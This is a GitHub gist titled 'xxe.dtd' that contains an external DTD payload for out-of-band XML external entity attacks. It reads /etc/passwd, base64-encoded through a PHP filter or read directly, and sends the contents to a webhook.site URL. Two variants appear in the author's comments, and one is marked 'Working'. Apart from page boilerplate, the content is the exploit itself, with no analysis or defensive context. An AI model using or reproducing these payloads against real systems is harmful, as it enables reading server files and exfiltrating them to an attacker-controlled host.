Skip to content

Instantly share code, notes, and snippets.

@ajdumanhug

ajdumanhug/xxe.dtd

Last active February 1, 2023 17:43
Show Gist options
  • Save ajdumanhug/50e5df279e149973025990ff096cdffd to your computer and use it in GitHub Desktop.
Save ajdumanhug/50e5df279e149973025990ff096cdffd to your computer and use it in GitHub Desktop.
Download ZIP
Raw
xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % xxe "<!ENTITY exfil SYSTEM 'https://webhook.site/1b43cfb3-3c7c-490e-b77c-37aa66ef9e3b/?data=%file;'>">
%xxe;
@ajdumanhug
Copy link
Author 

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#37; exfil SYSTEM 'https://webhook.site/1b43cfb3-3c7c-490e-b77c-37aa66ef9e3b?x=%file;'>">
%eval;
%exfil;

@ajdumanhug
Copy link
Author

Working

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % xxe "<!ENTITY exfil SYSTEM 'https://webhook.site/1b43cfb3-3c7c-490e-b77c-37aa66ef9e3b/?%file;'>">
%xxe;

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment